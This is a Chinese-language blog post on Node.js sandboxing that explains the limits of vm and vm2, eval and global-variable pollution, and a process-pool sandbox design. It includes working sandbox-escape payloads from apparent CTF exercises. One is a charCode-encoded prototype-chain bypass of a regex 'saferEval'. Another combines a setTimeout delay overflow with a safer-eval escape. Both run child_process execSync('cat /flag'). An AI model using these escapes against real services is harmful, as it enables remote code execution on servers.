node官方文档里提到node的vm模块可以用来做沙箱环境执行代码,对代码的上下文环境做隔离
A common use case is to run the code in a sandboxed environment.
The sandboxed code uses a different V8 Context, meaning that it has a different global object than the rest of the code.
JavaScript本身极其灵活 所以容易出现许多黑魔法
vm相对于尽管隔离了代码上下文环境,但是依然可以访问标准的JS API和全局的NodeJS环境
因此vm并不安全
The vm module is not a security mechanism. Do not use it to run untrusted code
举个例子
const vm = require('vm'); vm.runInNewContext("this.constructor.constructor('return process')().exit()") console.log("The app goes on...")
很轻易看出 这一段代码永远不会输出
为了避免上面这种情况,可以将上下文简化成只包含基本类型,如下所示
let ctx = Object.create(null); ctx.a = 1; vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);
上述代码中的ctx不能包含引用类型的属性
即使能访问标准的JS API和全局的NodeJS环境
也不会造成污染
这是由于node原生vm设计缺陷引起的
于是就有了vm2
https://github.com/patriksimek/vm2
const {VM} = require('vm2'); new VM().run('this.constructor.constructor("return process")().exit()'); // Throws ReferenceError: process is not defined
vm2的timeout对于异步代码不起作用
所以下面的代码永远不会执行结束
陷入死循环
const { VM } = require('vm2'); const vm = new VM({ timeout: 1000, sandbox: {}}); vm.run('new Promise(()=>{})');
这个时候就可以使用黑魔法:通过重新定义Promise的方式来禁用Promise
绕过成功
const { VM } = require('vm2'); const vm = new VM({ timeout: 1000, sandbox: { Promise: function(){}} }); vm.run('Promise = (async function(){})().constructor;new Promise(()=>{});');
举个例子~
eval('1+2')
eval 是全局对象的一个函数属性,执行的代码拥有着和应程中其它正常代码一样的的权限,它具有访问执行上下文中的局部变量的功能,亦能访问全部全局变量
此时便造成了所谓的全局变量污染
再举个例子
观察下列两个JavaScript
function f() { alert("f() in a.js"); } setTimeout(function() { f(); }, 1000);
function f() { alert("f() in b.js"); } setTimeout(function() { f(); }, 2000);
先后载入a,b两个js
会看到两次"f() in b.js"
后载入的b.js把f重新定义了
假设a.js需要分割字符串
b.js需要分割数组
两个JavaScript同时拥有split函数
那一个模块就要损毁
二、解决办法
1、定义全局变量命名空间
只创建一个全局变量,并定义该变量为当前应用容器,把其他全局变量追加在该命名空间下
var sxc={}; sxc.name={ big_name:"sunxiaochuan", small_name:"sungou" }; sxc.work={ bilibili_work:"chouxiang", weibo_work:"qialanqian" };
或者使用匿名函数
(function(){ var exp={}; var name="aa"; exp.method=function(){ return name; }; window.ex=exp; })();
function saferEval(str) { if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) { return null; } return eval(str); } app.post('/', function (req, res) { let result = ''; const results = req.session.results || []; const { e, first, second } = req.body; if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) { if (req.body.e) { try { result = saferEval(req.body.e) || 'ErrorOccured'; } catch (e) { console.log(e); result = 'ErrorOccured'; } results.unshift(`${req.body.e}=${result}`); } } else { results.unshift('Not verified!'); } if (results.length > 13) { results.pop(); } req.session.results = results; res.send(render(req.session.results)); });
重点关注
function saferEval(str) { if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) { return null; } return eval(str); }
绕过正则,因为可以使用Math.随便什么单词,所以可以获取到Math.proto,但这姿势无法直接利用
但是经过尝试,我们发现,Arrow Function 是可以使用的,尝试构造这种链
((Math)=>(Math=Math.__proto__,Math=Math.__proto__))(Math) // Math.__proto__.__proto__
然后尝试调用eval或者Function,但是此处无法直接输入字符串,故使用String.fromCharCode(...)
然后使用
Math+1 // '[object Math]1'
从原型链上导出String和Function
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))))(Math+1)() // 等价于 const s = Math+1; // '[object Math]1' const a = s.constructor; // String const e = a.fromCharCode(...); // ascii to string const f = a.constructro; // Function f(e)(); // 调用 exp: def gen(cmd): s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()" return ','.join([str(ord(i)) for i in s]) ((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))))(Math+1)()
再举一例 是最近一个业务场景中遇到的
js依赖库漏洞和vm漏洞
app.use((req, res, next) => { if (req.path === '/eval') { let delay = 60 * 1000; console.log(delay); if (Number.isInteger(parseInt(req.query.delay))) { delay = Math.max(delay, parseInt(req.query.delay)); } const t = setTimeout(() => next(), delay); setTimeout(() => { clearTimeout(t); console.log('timeout'); try { res.send('Timeout!'); } catch (e) { } }, 1000); } else { next(); } }); app.post('/eval', function (req, res) { let response = ''; if (req.body.e) { try { response = saferEval(req.body.e); } catch (e) { response = 'Wrong Wrong Wrong!!!!'; } } res.send(String(response)); });
setTimeout 当 delay 大于 2147483647 或小于 1 时,则 delay 将会被设置为 1。 非整数的 delay 会被截断为整数。
所以直接传
?delay=2147483649
给出了package.json
文件,查看使用依赖库以及版本,对其中比较核心的safer-eval
感到怀疑,尝试搜索(在github advisor或者npm advisor都可以找到)
然后找到了这个
利用很简单,原理就是对于内置函数没有过滤完全,导致可以获取vm外的上下文中的对象
vm2相关issue
构造payload
{ 'e': """(function () { const process = clearImmediate.constructor("return process;")(); return process.mainModule.require("child_process").execSync("cat /flag").toString() })()""" }
通过进程池统一调度管理沙箱进程
基于资源利用最大化,提出以下方案
新建一个进程池,所有任务到来会创建一个 Script 实例
进入 pending 队列
直接将 script 实例的 defer 对象返回
调用处进行 await 执行结果
再由 sandbox master 根据工程进程的空闲程序来调度执行
这个master 会将 script 的执行信息,包括重要的 ScriptId,等等,发送给空闲的 worker
worker 执行完成后会将「结果 + script 信息」回传至 master
master 通过 ScriptId 识别执行完毕的脚本id 判断是哪个脚本结束
结果进行 resolve 或 reject 处理
这样,通过**进程池**即能降低**进程来回创建和销毁的开销**
大致机制如下
异步操作超时,
将工程进程直接kill,
master 将发现一个工程进程被kill掉
再立即创建替补进程
将数据发送至沙箱的方式也值得研究
通过动态代码处理数据,直接序列化后通过 IPC 传入隔离的 Sandbox 进程
执行结果一样经过序列化通过 IPC 传输
其中,如果需要传入一个方法给 sandbox,由于不在一个进程,并不能方便的将引用传递给 sandbox
此时我们可以将宿主方法,在传递给 sandbox worker 之类做一下处理,转换为一个**描述对象**,包括了允许 sandbox 调用的方法集合,然后将允许调用的方法列表,如同其它数据一样发送给 worker 进程,worker 收到数据后,识别出**方法描述对象**,然后在 worker 进程中的 sandbox 对象上建立代理方法,代理方法同样通过 IPC 和 master 通讯。